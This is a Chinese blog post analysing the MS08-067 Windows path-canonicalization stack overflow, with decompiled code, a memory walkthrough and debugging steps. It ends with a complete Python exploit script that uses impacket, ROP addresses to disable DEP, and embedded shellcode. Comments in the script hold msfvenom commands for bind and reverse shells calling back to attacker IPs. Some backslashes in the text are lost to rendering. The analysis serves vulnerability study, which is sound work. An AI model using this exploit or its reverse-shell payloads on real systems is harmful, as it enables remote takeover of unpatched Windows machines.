zoukankan      html  css  js  c++  java
  • ms08067 分析与利用

    分析

    漏洞位于 NetpwPathCanonicalize 函数里面,这个函数的作用在于处理路径中的 ... 信息。该函数声明如下:

    DWORD NetpwPathCanonicalize(
        LPWSTR PathName, //需要标准化的路径, 输入
        LPWSTR Outbuf, //存储标准化后的路径的Buffer
        DWORD OutbufLen, //Buffer长度
        LPWSTR Prefix, //可选参数,当PathName是相对路径时有用
        LPDWORD PathType, //存储路径类型
        DWORD Flags // 保留,为0
    )
    

    函数的代码如下

    HRESULT __stdcall NetpwPathCanonicalize(wchar_t *PathName, wchar_t *Outbuf, int OutbufLen, wchar_t *Prefix, int PathType, int Flags)
    {
    	....................................................
    	....................................................
        result = CanonicalizePathName(prefix, PathName, Outbuf, OutbufLen, 0);
        if ( !result )
          result = NetpwPathType(Outbuf, PathType, 0);
        ....................................................
    

    输入的路径 PathName 经过简单的验证后,最终会进入 CanonicalizePathName 函数, 函数的主要代码如下

    int __stdcall CanonicalizePathName(wchar_t *prefix, wchar_t *path, char *outbuf, int outBufLen, int a5)
    {
      ....................................................
      ....................................................
      pathLength = _wcslen(Path);
      totalLen = pathLength + totalLength;
      if ( totalLen < pathLength || totalLen > 519 )
        return 123;
      _wcscat(Dest, Path);
      for ( i = Dest; *i; ++i )                     // 将路径中 / 换成 
      {
        if ( *i == '/' )
          *i = '\';
      }
      if ( !sub_5B86A22A(Dest) && !vuln_parse(Dest) )
        return 123;
    

    这个函数的主要功能是在路径前面加上 prefix , 然后判断路径字符串的长度避免出现溢出, 最后将路径中的 / 都替换为 。最后替换完的路径会传入 vuln_parse 函数进行具体的处理, 漏洞就出现在该函数。

    函数代码如下:

    int __stdcall vuln_parse(wchar_t *path)
    {
    
    
      pathStart = path;
      current_char = *path;
      pre = 0;
      ppre = 0;
      p = 0;
      // 首先从 UNC 路径提取出路径字符串,去掉 \hostpath 的 \host
      ....................................................
      ....................................................
      
      cur = pathStart;                              // p --> 路径的开始
      
      //开始具体的路径处理
      while ( 1 )
      {
        if ( current_char == '\' )
        {
          if ( pre == cur - 1 )
            return 0;
          ppre = pre;
          p = cur;
          goto next;
        }
        if ( current_char != '.' || pre != cur - 1 && cur != pathStart )
          goto next;
        pnext = cur + 1;
        next_char = cur[1];
        if ( next_char == '.' )
        {
          next_char2 = cur[2];
          if ( next_char2 == '\' || !next_char2 )
          {
            if ( !ppre )
              return 0;
            _wcscpy(ppre, cur + 2);                 // 处理 ..
            if ( !next_char2 )
              return 1;
            p = ppre;
            cur = ppre;
            for ( j = ppre - 1; *j != 0x5C && j != path; --j )// 往前找  , 去掉
              ;
            pathStart = path;
            ppre = (*j == '\' ? j : 0);
          }
          goto next;
        }
        if ( next_char != '\' )
          break;
        if ( pre )
        {
          v14 = pre;
        }
        else
        {
          pnext = cur + 2;
          v14 = cur;
        }
        _wcscpy(v14, pnext);                        // 去掉 .
        pathStart = path;
    LABEL_7:
        current_char = *cur;
        if ( !*cur )
          return 1;
        pre = p;
      }                                             // end of while
      if ( next_char )
      {
    next:
        ++cur;
        goto LABEL_7;
      }
      if ( pre )
        cur = pre;
      *cur = 0;
      return 1;
    }
    

    函数对于 ... 处理流程如下:

    • 使用 ppre , pre , cur 三个指针分别指向前两个独立的 符号, 和当前处理字符的位置。
    • 当出现单个 的时候,设置好 ppre , pre , cur 三个指针然后跳过。
    • 当出现 . 时, 复制 . 后面的字符串到 . 的位置,清理掉 .
    • 当出现 .. 时, 复制 .. 后面的字符串到 ppre 位置处,清理掉 .. , 之后再从 ppre-1 的位置开始往前搜索 来重新设置 ppre

    下面以一个实例为例介绍漏洞的原理。

    base = 0x100
    ppre = 0 , pre=0 ,  cur=0x100
    0x100 : c....AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    
    循环 1:
    	cur 指向的字符串: c....AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    	处理完之后: ppre = 0, pre = 0x100, cur=0x101
    
    循环 2:
    	cur 指向的字符串:c....AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    	处理完之后: ppre = 0, pre = 0x100, cur=0x102
    
    循环 3:
    	cur 指向的字符串:....AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    	处理完之后: ppre =0x100, pre = 0x102, cur=0x103
    
    循环 4:
    	cur 指向的字符串:....AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    	0x100 : ..AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    	处理完之后: ppre =(从 0x9f 开始往前搜索到的  的位置), pre = 0x100, cur=0x101
    

    首先假设我们输入的路径为

    c....AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    

    假设路径保存在 0x100 位置处,在最开始进入路径处理循环时,一些遍历的值如下

    ppre = 0 , pre=0 ,  cur=0x100
    

    第一次循环,发现处理的字符为 , 那么会设置 ppre = pre,然后保存 的位置到 pre , 最后对 cur++ .

    ppre = pre
    pre = cur
    cur++
    此时: ppre = 0, pre = 0x100, cur=0x101
    

    第二次循环,处理的字符为 c , 那么直接 cur++ 。此时的变量信息

    ppre = 0, pre = 0x100, cur=0x102
    

    第二次循环,处理的字符为 , 设置变量信息,同时对 cur++.

    处理完之后: ppre =0x100, pre = 0x102, cur=0x103
    

    第三次循环, 处理的字符为 . 然后会一直往下走,最终进入 .. 的处理部分。

    _wcscpy(ppre, cur + 2);                 // 处理 ..
    pre_tmp = ppre;
    cur = ppre;
    for ( j = ppre - 1; *j != 0x5C && j != path; --j )// 往前找  , 去掉
    ;
    pathStart = path;
    ppre = (*j == '\' ? j : 0);
    

    首先将 cur+2 开始的字符串复制到 ppre 处, 这样可以处理 .. , 然后会从 ppre - 1 往前搜索 ,并将地址保存到 ppre 里面. 此时的内存信息如下:

    0x100 : ..AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    处理完之后: ppre =(从 0x9f 开始往前搜索到的  的位置), pre = 0x100, cur=0x101
    

    可以看到 ppre 开始从 0x9f 开始去搜索 , 越界访问。由于路径存放在栈上,所以 ppre 最终会搜索到下一个函数的栈帧。然后继续处理的时候,发现又是 .. , 那么会调用 _wcscpy , 那么最终就会把 _wcscpy 函数的栈帧给破坏了,可以覆盖到返回地址。

    wcspy 的复制操作完成后,就可以覆盖了 wcscpy 的返回地址.

    调试

    启动相应的进程

    C:WindowsSystem32svchost.exe -k netsvcs
    

    查看进程信息,找到相应的 PID

    wmic process where caption="svchost.exe" get caption,handle,commandline
    

    输出如下

    C:>wmic process where caption="svchost.exe" get caption,handle,commandline
    Caption      CommandLine                                        Handle
    svchost.exe  C:WINDOWSsystem32svchost -k DcomLaunch          884
    svchost.exe  C:WINDOWSsystem32svchost -k rpcss               968
    svchost.exe  C:WINDOWSSystem32svchost.exe -k netsvcs         1084
    svchost.exe  C:WINDOWSsystem32svchost.exe -k NetworkService  1140
    svchost.exe  C:WINDOWSsystem32svchost.exe -k LocalService    1192
    

    我们可以知道服务的进程 PID1084 , 然后用调试器 attach 上,就可以开始调试了。

    下图是调用 wcscpy 之前,可以看到第一个参数已经超出了当前函数的栈帧,落入了 wcscpy 函数的栈帧里面。

    wcscpy 拷贝完全后,返回地址被修改

    漏洞利用

    测试环境为 xp sp3 , 开启了 DEP , 所以需要先关闭 DEP 然后执行 shellcode , 这里使用 ZwSetInformationProcess 函数来关闭 DEP。 函数的定义如下

    ZwSetInformationProcess(
        IN HANDLE ProcessHandle,                                //-1 表示当前进程
        IN PROCESS_INFORMATION_CLASS ProcessInformationClass,   //信息类
        IN PVOID ProcessInformation,                            //用来设置_KEXECUTE_OPTIONS
        IN ULONG ProcessInformationLength                       //第三个参数的长度
    );
    

    关闭 DEP 我们需要设置的参数为

    ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
    ZwSetInformationProcess(
        NtCurrentProcess(),         // (HANDLE)-1
        ProcessExecuteFlags,        // 0x22
        &ExecuteFlags,              // ptr to 0x2
        sizeof(ExecuteFlags)        // 0x4
    );
    

    AcGenral.dll 里面正好有调用函数的代码片段:

    6F8917C2    6A 04           push    4
    6F8917C4    8D45 08         lea     eax, dword ptr [ebp+8]
    6F8917C7    50              push    eax
    6F8917C8    6A 22           push    22
    6F8917CA    6A FF           push    -1
    6F8917CC    C745 08 0200000>mov     dword ptr [ebp+8], 2
    6F8917D3    FF15 0414886F   call    dword ptr [<&ntdll.NtSetInformat>; ntdll.ZwSetInformationProcess
    

    所以我们只需要设置 ebp 为可写内存的地址,然后进入 6F8917C2 即可关闭 DEP, 在 wcscpy 返回前需要从栈上恢复 ebp 所以 ebp也可以控制

    77C47E96    55              push    ebp
    77C47E97    8BEC            mov     ebp, esp
    77C47E99    8B4D 08         mov     ecx, dword ptr [ebp+8]
    77C47E9C    8B55 0C         mov     edx, dword ptr [ebp+C]
    77C47E9F    66:8B02         mov     ax, word ptr [edx]
    77C47EA2    66:8901         mov     word ptr [ecx], ax
    77C47EA5    41              inc     ecx
    77C47EA6    41              inc     ecx
    77C47EA7    42              inc     edx
    77C47EA8    42              inc     edx
    77C47EA9    66:85C0         test    ax, ax
    77C47EAC  ^ 75 F1           jnz     short 77C47E9F
    77C47EAE    8B45 08         mov     eax, dword ptr [ebp+8]
    77C47EB1    5D              pop     ebp                              ; dot3api.478C7070
    77C47EB2    C3              retn
    

    关闭 DEP 后,可以发现 esi 指向的位置是输入字符串的一部分,所以当关闭 DEP 后,在 esi 处放置一个跳转指令(用于跳转到 shellcode 区域),然后利用 rop 跳转到 esi 执行,就可以执行 shellcode 了。

    exp:

    #!/usr/bin/env python
    import struct
    import time
    import sys
    from impacket import smb
    from impacket import uuid
    from impacket.dcerpc.v5 import transport
    
    
    
    def p32(d):
        return struct.pack("<I", d)
    
    
    # msfvenom -p windows/shell_bind_tcp RHOST=10.11.1.229 LPORT=443 EXITFUNC=thread -b "x00x0ax0dx5cx5fx2fx2ex40" -f c -a x86 --platform windows
    # msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=443 EXITFUNC=thread -b "x00x0ax0dx5cx5fx2fx2ex40" -f c -a x86 --platform windows
    # msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=62000 EXITFUNC=thread -b "x00x0ax0dx5cx5fx2fx2ex40" -f c -a x86 --platform windows
    
    # msfvenom -p windows/exec CMD=calc.exe -b "x00x0ax0dx5cx5fx2fx2ex40" -f c -a x86 --platform windows
    
    shellcode = (
        "x2bxc9x83xe9xcfxe8xffxffxffxffxc0x5ex81x76x0e"
        "x2cxadx3bx99x83xeexfcxe2xf4xd0x45xb9x99x2cxad"
        "x5bx10xc9x9cxfbxfdxa7xfdx0bx12x7exa1xb0xcbx38"
        "x26x49xb1x23x1ax71xbfx1dx52x97xa5x4dxd1x39xb5"
        "x0cx6cxf4x94x2dx6axd9x6bx7exfaxb0xcbx3cx26x71"
        "xa5xa7xe1x2axe1xcfxe5x3ax48x7dx26x62xb9x2dx7e"
        "xb0xd0x34x4ex01xd0xa7x99xb0x98xfax9cxc4x35xed"
        "x62x36x98xebx95xdbxecxdaxaex46x61x17xd0x1fxec"
        "xc8xf5xb0xc1x08xacxe8xffxa7xa1x70x12x74xb1x3a"
        "x4axa7xa9xb0x98xfcx24x7fxbdx08xf6x60xf8x75xf7"
        "x6ax66xccxf2x64xc3xa7xbfxd0x14x71xc7x3ax14xa9"
        "x1fx3bx99x2cxfdx53xa8xa7xc2xbcx66xf9x16xcbx2c"
        "x8exfbx53x3fxb9x10xa6x66xf9x91x3dxe5x26x2dxc0"
        "x79x59xa8x80xdex3fxdfx54xf3x2cxfexc4x4cx4fxcc"
        "x57xfax02xc8x43xfcx2cxadx3bx99"
    )
    
    nops = "x90" * (410 - len(shellcode))
    shellcode = nops + shellcode
    
    call_esi_ret = p32(0x6f88f807)  # call esi
    disable_nx = p32(0x6f8917c2)  # call ZwSetInformationProcess
    writeable_address = p32(0x478c7070) # 
    
    payload = ""
    payload += "x5cx00"
    payload += "ABCDEFGHIJ" * 10
    payload += shellcode
    payload += "x5cx00x2ex00x2ex00x5cx00x2ex00x2ex00x5cx00"
    payload += "x41x00x42x00x43x00x44x00x45x00x46x00x47x00"
    payload += writeable_address
    payload += disable_nx  # eip
    payload += "B" * 4
    payload += call_esi_ret
    payload += "x90" * 50
    payload += "xebx62"
    payload += "A" * 10
    payload += "x00" * 2  # end of string
    
    #payload length --> 620
    
    if len(sys.argv) == 3:
        trans = transport.SMBTransport(remoteName='*SMBSERVER', remote_host='%s' % sys.argv[1], dstport = int(sys.argv[2]), filename = '\browser' )
    else:
        trans = transport.DCERPCTransportFactory('ncacn_np:%s[\pipe\browser]' % sys.argv[1])
    
    
    
    trans.connect()
    dce = trans.DCERPC_class(trans)
    dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
    server = "xdexa4x98xc5x08x00x00x00x00x00x00x00x08x00x00x00x41x00x42x00x43x00x44x00x45x00x46x00x47x00x00x00"
    prefix = "x02x00x00x00x00x00x00x00x02x00x00x00x5cx00x00x00"
    MaxCount = "x36x01x00x00"  # Decimal 310. => Path length of 620.
    Offset = "x00x00x00x00"
    ActualCount = "x36x01x00x00"  # Decimal 310. => Path length of 620
    
    stub = server + MaxCount + Offset + ActualCount + payload + 
        "xE8x03x00x00" + prefix + "x01x10x00x00x00x00x00x00"
    dce.call(0x1f, stub)
    
    raw_input("exploit finished!!!")
    

    参考

    https://blog.csdn.net/iiprogram/article/details/3156229

    https://zhuanlan.zhihu.com/p/27155431

    https://github.com/jivoi/pentest/blob/master/exploit_win/ms08-067.py

  • 相关阅读:
    C 语言定义
    一次系统磁盘异常使用100%的处理
    supervisord 安装、配置体验
    uva 211(dfs)
    poj1651
    有一种感动叫ACM(记WJMZBMR在成都赛区开幕式上的讲话)
    nyoj-746
    Codeforces Round #308 (Div. 2)----C. Vanya and Scales
    long long 与 _int64
    石子归并问题(nyoj737)
  • 原文地址:https://www.cnblogs.com/hac425/p/10795303.html
Copyright © 2011-2022 走看看